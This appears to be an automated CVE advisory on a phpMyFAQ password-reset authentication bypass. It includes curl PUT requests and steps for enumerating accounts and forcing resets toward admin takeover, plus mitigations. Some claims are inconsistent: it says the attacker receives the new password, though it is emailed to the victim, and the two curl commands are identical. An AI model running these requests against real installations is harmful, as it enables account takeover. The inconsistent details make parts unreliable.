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The vulnerability exists in phpMyFAQ’s password reset API (UnauthorizedUserController.php, lines 56‑130). The `updatePassword()` method accepts a PUT request with only a username and email in the JSON body.
When a valid pair is provided, the application immediately generates a new plaintext password, writes it to the account, and sends it via email—without any token verification, rate limiting, or email confirmation.
An attacker can first enumerate valid username/email pairs by observing the response differences (200 OK vs 409 Conflict).
Once a valid pair is known, a second PUT request forces an immediate password change, giving the attacker a new plaintext password.
The attacker can then log in as the victim (including SuperAdmin) and perform any action.
No authentication, user interaction, or special privileges are required.
DailyCVE Form
Platform: ……. phpMyFAQ
Version: …….. < 4.1.3
Vulnerability : Authentication Bypass
Severity: ……. Critical
Date: ………. 2026‑05‑20
Prediction: …. Patch by 2026‑06‑03
What Undercode Say
Enumerate valid username/email
curl -X PUT -H "Content-Type: application/json" \
-d '{"username":"admin","email":"[email protected]"}' \
http://target/phpmyfaq/api/user/password/update
Forced password reset (valid pair)
curl -X PUT -H "Content-Type: application/json" \
-d '{"username":"admin","email":"[email protected]"}' \
http://target/phpmyfaq/api/user/password/update
After reset, new password is sent in plaintext
// Vulnerable code snippet
$loginExist = $user->getUserByLogin($username);
if ($loginExist && $email === $user->getUserData('email')) {
$newPassword = $user->createPassword();
$user->changePassword($newPassword);
$mail->send(); // New password sent in plaintext
}
Exploit
- Enumerate valid username/email pairs by sending PUT requests and checking response codes.
- For any valid pair, send the same PUT request again.
- Receive a new plaintext password for the victim’s account via email (or intercept the email if possible).
- Log in as the victim using the new password – complete account takeover.
Protection from this CVE
- Upgrade phpMyFAQ to version 4.1.3 or later.
- Implement a time‑limited cryptographic token in the password reset flow.
- Add rate limiting to the `/api/user/password/update` endpoint.
- Send a verification email to the original address before resetting the password.
- Do not send new passwords in plaintext; use a secure reset link.
Impact
- Full administrative access to the phpMyFAQ instance.
- Total loss of confidentiality (all user data and FAQ content exposed).
- Total loss of integrity (attacker can modify all content and settings).
- Total loss of availability (attacker can lock out legitimate users).
- Account takeover for every user, including SuperAdmin.
- No user interaction required – the attack is completely silent.
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Sources:
Reported By: github.com
Extra Source Hub:
Undercode
